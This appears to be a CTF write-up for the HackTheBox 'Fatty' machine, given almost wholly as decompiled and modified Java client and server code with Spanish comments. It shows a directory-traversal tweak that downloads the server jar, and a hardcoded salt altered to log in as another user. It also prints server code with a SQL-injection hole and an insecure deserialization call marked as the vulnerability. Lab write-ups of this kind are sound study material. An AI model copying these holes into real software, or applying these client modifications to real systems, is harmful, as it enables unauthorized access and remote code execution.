Hackthebox Fatty Writeup (OSCP Style)

<bean id="connectionContext" class = htb.fatty.shared.connection.ConnectionContext">
    <constructor-arg index="0" value = "server.fatty.htb"/>
    <constructor-arg index="1" value = "8000"/>
</bean>

  public String showFiles(String folder) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {  }).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user)) {
      return "Error: Method '" + methodName + "' is not allowed for this user account";
    }
    
    this.action = new ActionMessage(this.sessionID, "files");
    this.action.addArgument(folder);
    sendAndRecv();
    if (this.response.hasError()) {
      return "Error: Your action caused an error on the application server!";
    }
    return this.response.getContentAsString();
  }

   configs.addActionListener(new ActionListener()
        {
          public void actionPerformed(ActionEvent e) {
            String response = "";
            ClientGuiTest.this.currentFolder = "configs";
            try {
              response = ClientGuiTest.this.invoker.showFiles("configs"); //Aquí se invoca el metodo showFiles de la clase invoker.
            } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
              JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);

            
            }
            catch (IOException e2) {
              JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
            } 


            
            textPane.setText(response);
          }
        });
    
    notes.addActionListener(new ActionListener()
        {
          public void actionPerformed(ActionEvent e) {
            String response = "";
            ClientGuiTest.this.currentFolder = "notes";
            try {
              response = ClientGuiTest.this.invoker.showFiles("notes"); //Aquí se invoca el metodo showFiles de la clase invoker.
            } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
              JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);

            
            }
            catch (IOException e2) {
              JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
            } 


            
            textPane.setText(response);
          }
        });
    
    mail.addActionListener(new ActionListener()
        {
          public void actionPerformed(ActionEvent e) {
            String response = "";
            ClientGuiTest.this.currentFolder = "mail";
            try {
              response = ClientGuiTest.this.invoker.showFiles("mail"); //Aquí se invoca el metodo showFiles de la clase invoker.
            } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
              JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);

            
            }
            catch (IOException e2) {
              JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
            } 


            
            textPane.setText(response);
          }
        });

     configs.addActionListener(new ActionListener()
         {
           public void actionPerformed(ActionEvent e) {
             String response = "";
             ClientGuiTest.this.currentFolder = "configs";
             try {
               response = ClientGuiTest.this.invoker.showFiles("../"); //Modificamos aqui.
             } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
               JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
 
             
             }
             catch (IOException e2) {
               JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
             } 
 
 
             
             textPane.setText(response);
           }
         });

import java.io.File;
import java.io.FileOutputStream;

public String writeFile() throws MessageParseException, MessageBuildException, IOException {
    this.action = new ActionMessage(this.sessionID, "open");
    this.action.addArgument("../");
    this.action.addArgument("fatty-server.jar");
    sendAndRecv();
    if (this.response.hasError()) {
      return "Error: Your action caused an error on the application server!";
   }
   try{
	System.out.println("Estamos escribiendo dentro del archivo");
	OutputStream os = new FileOutputStream(new File("fatty-server.jar"));
	os.write(this.response.getContent());
	os.close();
	
   }catch(Exception exc1){}

return "Archivo descargado correctamente !!";
}

    openFileButton.addActionListener(new ActionListener()
        {
          public void actionPerformed(ActionEvent e) {
            if (ClientGuiTest.this.currentFolder == null) {
              JOptionPane.showMessageDialog(controlPanel, "No folder selected! List a directory first!", "Error", 0);

              
              return;
            } 
            
            String response = "";
            String fileName = ClientGuiTest.this.fileTextField.getText();
            fileName.replaceAll("[^a-zA-Z0-9.]", "");
            try {
              //response = ClientGuiTest.this.invoker.open(ClientGuiTest.this.currentFolder, fileName);
              response = ClientGuiTest.this.invoker.writeFile(); //Aquí invocamos el método writeFile()
            } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
              JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);

            
            }
            catch (IOException e2) {
              JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
            } 


            
            textPane.setText(response);
          }
        });

  public User checkLogin(User user) throws LoginException {
    Statement stmt = null;
    ResultSet rs = null;
    User newUser = null;
    
    try {
      stmt = this.conn.createStatement();
      rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");

      
      try {
        Thread.sleep(3000L);
      } catch (InterruptedException e) {
        return null;
      } 
      
      if (rs.next()) {
        
        int id = rs.getInt("id");
        String username = rs.getString("username");
        String email = rs.getString("email");
        String password = rs.getString("password");
        String role = rs.getString("role");
        newUser = new User(id, username, password, email, Role.getRoleByName(role), false);
        
        if (newUser.getPassword().equalsIgnoreCase(user.getPassword())) {
          return newUser;
        }
        throw new LoginException("Wrong Password!");
      } 
      
      throw new LoginException("Wrong Username!");
    }
    catch (SQLException e) {
      this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
      this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
      
      return null;
    } 
  }

    JButton btnNewButton = new JButton("Login ");
    btnNewButton.addActionListener(new ActionListener() {
          public void actionPerformed(ActionEvent e) {
            String username = ClientGuiTest.this.tfUsername.getText().trim();
            String password = new String(ClientGuiTest.this.tfPassword.getPassword());
            ClientGuiTest.this.user = new User();
            ClientGuiTest.this.user.setUsername(username);
            ClientGuiTest.this.user.setPassword(password);
            
            try {
              ClientGuiTest.this.conn = Connection.getConnection();
            } catch (htb.fatty.client.connection.Connection.ConnectionException e1) {
              JOptionPane.showMessageDialog(LoginPanel, "Connection Error!", "Error", 0);

              
              return;
            } 
            
            if (ClientGuiTest.this.conn.login(ClientGuiTest.this.user)) {
              JOptionPane.showMessageDialog(LoginPanel, "Login Successful!", "Login", 1);


              
              LoginPanel.setVisible(false);
              
              String roleName = ClientGuiTest.this.conn.getRoleName();
              ClientGuiTest.this.user.setRoleByName(roleName);
              
              if (roleName.contentEquals("admin")) {
                uname.setEnabled(true);
                users.setEnabled(true);
                netstat.setEnabled(true);
                ipconfig.setEnabled(true);
                changePassword.setEnabled(true);
              } 
              if (!roleName.contentEquals("anonymous")) {
                whoami.setEnabled(true);
                configs.setEnabled(true);
                notes.setEnabled(true);
                mail.setEnabled(true);
                ping.setEnabled(true);
              } 
              ClientGuiTest.this.invoker = new Invoker(ClientGuiTest.this.conn, ClientGuiTest.this.user);
              controlPanel.setVisible(true);
            } else {
              
              JOptionPane.showMessageDialog(LoginPanel, "Login Failed!", "Login", 1);


              
              ClientGuiTest.this.conn.close();
            } 
          }
        });

ClientGuiTest.this.user = new User();  //Instancia un objeto de la clase User.
ClientGuiTest.this.user.setUsername(username); //Toma el nombre de usuario y lo asigna.
ClientGuiTest.this.user.setPassword(password); //Asigna una password.

  public void setUsername(String username) { this.username = username; }
  
  public void setPassword(String password) {
    String hashString = this.username + password + "clarabibimakeseverythingsecure";
    MessageDigest digest = null;
    try {
      digest = MessageDigest.getInstance("SHA-256");
    } catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
    } 
    byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));
    this.password = DatatypeConverter.printHexBinary(hash);
  }

  public void setPassword(String password) {
    String hashString = 'qtc' + password + "clarabibimakeseverythingsecure"; //Aquí.
    MessageDigest digest = null;
    try {
      digest = MessageDigest.getInstance("SHA-256");
    } catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
    } 
    byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));
    this.password = DatatypeConverter.printHexBinary(hash);
  }

  public static String changePW(ArrayList<String> args, User user) {
    logger.logInfo("[+] Method 'changePW' was called.");
    int methodID = 7;
    if (!user.getRole().isAllowed(methodID)) {
      logger.logError("[+] Access denied. Method with id '" + methodID + "' was called by user '" + user.getUsername() + "' with role '" + user.getRoleName() + "'.");
      return "Error: Method 'changePW' is not allowed for this user account";
    } 
    response = "";
    
    String b64User = (String)args.get(0);
    byte[] serializedUser = Base64.getDecoder().decode(b64User.getBytes());
    ByteArrayInputStream bIn = new ByteArrayInputStream(serializedUser);
    
    try {
      ObjectInputStream oIn = new ObjectInputStream(bIn);
      
      User user1 = (User)oIn.readObject(); //Vulnerabilidad.
    } catch (Exception e) {
      e.printStackTrace();
      return response + "Error: Failure while recovering the User object.";
    } 

    
    return response + "Info: Your call was successful, but the method is not fully implemented yet.";
  }

User user1 = (User)oIn.readObject(); //Vulnerabilidad.

 public String changePW(String username, String newPassword) throws MessageParseException, MessageBuildException, IOException {
//    String methodName = (new Object() {  }).getClass().getEnclosingMethod().getName();
//    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
//    if (AccessCheck.checkAccess(methodName, this.user)) {
//      return "Error: Method '" + methodName + "' is not allowed //for this user account";
//    }
//    
//    User user = new User(username, newPassword);
//    ByteArrayOutputStream bOut = new ByteArrayOutputStream();
//    
//
//    try {
//      ObjectOutputStream oOut = new ObjectOutputStream(bOut);
//    oOut.writeObject(user);
//    } catch (IOException e) {
//      e.printStackTrace();
//      return "Failure while serializing user object";
//    } 
//    byte[] serializedUser64 = Base64.getEncoder().encode(bOut.toByteArray());
    this.action = new ActionMessage(this.sessionID, "changePW");
    this.action.addArgument("payload");
    sendAndRecv();
    if (this.response.hasError()) {
      return "Error: Your action caused an error on the application server!";
    }
    return this.response.getContentAsString();
  }

//No implementado.
pwChangeButton.addActionListener(new ActionListener(){
       public void actionPerformed(ActionEvent e) {
            JOptionPane.showMessageDialog(passwordChange, "Not implemented yet.", "Error", 0);
            
            passwordChange.setVisible(false);
            controlPanel.setVisible(true);
          }
});

//Implementado.
pwChangeButton.addActionListener(new ActionListener(){
      public void actionPerformed(ActionEvent e) {
             String response = "";
             try {
               response = ClientGuiTest.this.invoker.changePW("test","test");
             } 
             catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {JOptionPane.showMessageDialog(controlPanel, "Failure during password Change.", "Error", 0);}
             catch (IOException e2) {JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);} 

             textPane.setText(response);
 
             
             passwordChange.setVisible(false);
             controlPanel.setVisible(true);
       }
 });